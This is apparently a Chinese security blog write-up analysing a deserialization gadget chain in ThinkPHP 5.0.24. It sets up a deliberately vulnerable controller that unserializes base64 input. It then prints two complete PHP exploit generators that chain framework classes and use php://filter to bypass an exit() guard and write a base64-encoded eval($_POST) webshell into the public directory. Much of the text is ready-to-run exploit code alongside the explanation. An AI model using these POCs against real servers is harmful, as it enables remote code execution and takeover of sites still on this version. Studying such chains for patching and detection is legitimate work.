漏洞环境:
版本:
1 2 ThinkPHP V5.0.24 php v7.1.9
测试代码:
application目录下新建一个一个模块test在controller文件夹内创建Test.php内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php #命名空间app默认位于application namespace app\test\controller; class Test { //访问http://localhost/tp5.0/public/index.php/test/test/hello //或者传递参数访问http://localhost/tp5.0/public/index.php/test/test/hello/pass/参数 public function hello($pass = 'pass') { unserialize(base64_decode($pass)); return 'hello'; } }
漏洞分析:
类似thinkphp-5.1.*的反序列化漏洞,thinkphp-5.0.*-反序列化漏洞的入口点是
tp5.0\thinkphp\library\think\process\pipes\Windows.php的__destruct()方法
同样进入removeFiles(),可用看到这里同样是有反序列化+任意文件删除的漏洞组合的(相关poc见我写的thinkphp-5.1.*-反序列化漏洞分析)。
我们通过file_exists是可以触发__toString
的,这里我们通过全局搜索可以发现\tp5.0\thinkphp\library\think\Model.php 的抽象类Model存在__toString
方法。因为Model是抽象类,我们无法直接实例化,于是搜索继承Model的类,我们发现Pivot类继承了Model。以Pivot类为跳板通过file_exists(new Pivot)的形式我们就可以调用__toString
方法了。
我们来看__toString
方法
进入toJson()
接着进入toArray()。我们在其912行看到$value->getAttr($attr)
,在这里我们需要$value成为类Output,这样就可以触发Output的__call()
方法。
我们查看getRelationData(),发现需要满足三个条件即可使得$value
可控,一眼看过去第一个条件$this->parent
我们可以控制。
查看isSelfRelation(),显然$this->selfRelation我们可以控制,所以第二个条件!$modelRelation->isSelfRelation()
我们可以控制
第三个条件get_class($modelRelation->getModel()) == get_class($this->parent))
需要我们使得get_class($modelRelation->getModel())
的结果是Output对象。我们进入getModel()查看,可以发现这里调用了$this->query
的getModel()
方法,$this->query
我们是可控的。
继续深入getModel()
方法,我们发现Query类存在getModel()
方法,$this->model
我们也可以控制的,所以我们需要使得$this->query
为Query对象,Query对象的$this->model
为output对象。这样就可以通过第三个条件的验证了。
因为Relation是抽象类那么要使得$this->query
为Query对象,我们就要寻找一个继承Relation的类。考虑到toArray()方法第904行的验证我们还需要这个类含有getBindAttr()方法
通过全局搜索我们可以找到这么一个类HasOne。HasOne继承自OneToOne而OneToOne则继承自Relation。所以HasOne满足我们的要求。
现在我们只需要使得$modelRelation
为HasOne对象。从第901行我们可以知道通过调用this->$relation
方法获得的$modelRelation
。而$relation
是通过$name
得到的,$name
可控。所以我们只需在Model抽象类中找到一个方法可以返回一个HasOne对象即可。$this->error
可控,getError方法满足我们的要求。
所以到目前为止我们构造的反序列化链条如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files = []; public function __construct ( ) { $this ->files = [new Pivot ()]; } } } namespace think { use think \console \Output ; use think \model \relation \HasOne ; abstract class Model { protected $append = []; protected $error = null ; public $parent ; function __construct ( ) { $this ->parent = new Output (); $this ->append = array ("xxx" =>"getError" ); $this ->error = new HasOne (); } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace think \model \relation { class HasOne extends OneToOne { } } namespace think \model \relation { use think \db \Query ; abstract class OneToOne { protected $selfRelation ; protected $bindAttr = []; protected $query ; function __construct ( ) { $this ->selfRelation = 0 ; $this ->query = new Query (); $this ->bindAttr = ['xxx' ]; } } } namespace think \db { use think \console \Output ; class Query { protected $model ; function __construct ( ) { $this ->model = new Output (); } } } namespace think \console { use think \session \driver \Memcached ; class Output { } } namespace {use think \process \pipes \Windows ; echo base64_encode (serialize (new Windows ())); }
接下来我们分析Output类的__call方法,我们可以看到其调用了Output类的block方法
查看block方法,发现其继续调用writeln方法
继续查看writeln方法,发现其调用了write方法
继续追踪write方法,发现其调用了$this->handle
的write的方法,而$this->handle
我们是可以控制的
我们全局搜索有write方法的类发现文件\tp5.0\thinkphp\library\think\session\driver\Memcached.php
的Memcached类存在write方法,该方法会调用$this->handler
的set方法,其中$this->handler
我们是可以控制的。
同理我们继续全局搜索含有set方法的类,在File类中我们可以发现set方法,并且可以通过set方法写入文件
但是通过Memcached类传入的$name
我们只能部分控制,而$data
却完全不受我们控制。这样写入文件是没有意义的。
为解决这一问题我们关注到第161行的setTagItem函数,我们进入该函数,发现再次调用了set方法写入文件内容,而这一次文件的两个参数我们都可以在一定程度上控制了。
但是这样还不够虽然我们可以控制$value使其含有php代码,但是
1 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
会使得生成的文件没有执行到我们写的后门代码片段就被exit()终止。事实上我们可以通过php伪协议将前面的代码给转换掉。我们先看到看set()获得文件名的方法getCacheKey()。这个方法通过拼接$this->options['path']
生成文件名,而$this->options['path']
是我们可以控制的。
所以在$result = file_put_contents($filename, $data);
时我们可以使得file_put_contents调用php://filter处理数据,从而达到绕过exit()的目的。
最终的poc如下(该poc是windows和linux下都通用的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 <?php namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files = []; public function __construct ( ) { $this ->files = [new Pivot ()]; } } } namespace think { use think \console \Output ; use think \model \relation \HasOne ; abstract class Model { protected $append = []; protected $error = null ; public $parent ; function __construct ( ) { $this ->parent = new Output (); $this ->append = array ("xxx" =>"getError" ); $this ->error = new HasOne (); } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace think \model \relation { class HasOne extends OneToOne { } } namespace think \model \relation { use think \db \Query ; abstract class OneToOne { protected $selfRelation ; protected $bindAttr = []; protected $query ; function __construct ( ) { $this ->selfRelation = 0 ; $this ->query = new Query (); $this ->bindAttr = ['xxx' ]; } } } namespace think \db { use think \console \Output ; class Query { protected $model ; function __construct ( ) { $this ->model = new Output (); } } } namespace think \console { use think \session \driver \Memcached ; class Output { private $handle ; protected $styles ; function __construct ( ) { $this ->styles = ['getAttr' ]; $this ->handle =new Memcached (); } } } namespace think \session \driver { use think \cache \driver \File ; class Memcached { protected $handler ; function __construct ( ) { $this ->handler = new File (); } } } namespace think \cache \driver { class File { protected $options =null ; protected $tag ; function __construct ( ) { $this ->options=[ 'expire' => 3600 , 'cache_subdir' => false , 'prefix' => '' , 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php' , 'data_compress' => false , ]; $this ->tag = 'xxx' ; } } } namespace { use think \process \pipes \Windows ; echo base64_encode (serialize (new Windows ())); }
将会在public目录生成a.php12ac95f1498ce51d2d96a249c09c1998.php其中内容为
另一种思路:
还有另外一种思路绕过File::set()的exit()死亡杂糅
在处理文件\tp5.0\thinkphp\library\think\session\driver\Memcached.php
的Memcached类的write方法时我们不直接使得$this->handler
指向File类,我们使其指向文件\tp5.0\thinkphp\library\think\cache\driver\Memcache.php
的Memcached类的set方法。
在这个set方法中我们可以同样可以看到$this->handler->set
这时我们将$this->handler
指向$File
换句话说:我们通过Memcached类的set方法作为中转,绕一下调用File类的set方法。
同样的当我们第一次调用Memcached::set时无法控制$value的值,但是任然存在setTagItem()方法被调用。
通过setTagItem我们可以使得第二次调用Memcached::set,$value受我们控制。
所以另外一种windows和linux平台都通用的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 <?php namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files = []; public function __construct ( ) { $this ->files = [new Pivot ()]; } } } namespace think { use think \console \Output ; use think \model \relation \HasOne ; abstract class Model { protected $append = []; protected $error = null ; public $parent ; function __construct ( ) { $this ->parent = new Output (); $this ->append = array ("xxx" =>"getError" ); $this ->error = new HasOne (); } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace think \model \relation { class HasOne extends OneToOne { } } namespace think \model \relation { use think \db \Query ; abstract class OneToOne { protected $selfRelation ; protected $bindAttr = []; protected $query ; function __construct ( ) { $this ->selfRelation = 0 ; $this ->query = new Query (); $this ->bindAttr = ['xxx' ]; } } } namespace think \db { use think \console \Output ; class Query { protected $model ; function __construct ( ) { $this ->model = new Output (); } } } namespace think \console { use think \session \driver \Memcached ; class Output { private $handle ; protected $styles ; function __construct ( ) { $this ->styles = ['getAttr' ]; $this ->handle =new Memcached (); } } } namespace think \session \driver { class Memcached { protected $handler ; function __construct ( ) { $this ->handler = new \think\cache\driver\Memcached (); } } } namespace think \cache \driver { class Memcached { protected $handler ; protected $tag ; protected $options =null ; function __construct ( ) { $this ->handler = new File (); $this ->tag =true ; $this ->options['prefix' ]="PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g" ; } } } namespace think \cache \driver { class File { protected $options =null ; function __construct ( ) { $this ->options=[ 'expire' => 3600 , 'cache_subdir' => false , 'prefix' => '' , 'path' => 'php://filter/convert.base64-decode/resource=' , 'data_compress' => false , ]; } } } namespace { use think \process \pipes \Windows ; echo base64_encode (serialize (new Windows ())); }
将会在public目录生成a5c52af8656ce679eb29e3449834f23c.php其中内容为
漏洞总结:
对应两个poc的反序列化链
反序列化链1
1 2 3 4 5 6 7 8 9 10 11 12 13 起点:任意反序列化点 -->Windows::__destruct -->Windows::removeFiles -->file_exists(将类当作字符串触发__toString) -->Pivot::__toString(方法继承于Model类,和下面的toJson和toArray一样) -->Pivot::toJson-->Pivot::toArray 通过一系列手段使得$value成为Output类然后调用Output::getAttr(Output类没有getAttr方法触发__call) -->Output::__call -->Output::block-->Output::writeln-->Output::write -->Memcached::write -->File::set -->File::setTagItem -->File::set(绕过死亡杂糅写入文件)
反序列化链2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 起点:任意反序列化点 -->Windows::__destruct -->Windows::removeFiles -->file_exists(将类当作字符串触发__toString) -->Pivot::__toString(方法继承于Model类,和下面的toJson和toArray一样) -->Pivot::toJson-->Pivot::toArray 通过一系列手段使得$value成为Output类然后调用Output::getAttr(Output类没有getAttr方法触发__call) -->Output::__call -->Output::block-->Output::writeln-->Output::write -->Memcached::write -->Memcached::set(cache目录下的set) -->File::set -->Memcached::set(cache目录下的set) -->File::set(绕过死亡杂糅写入文件)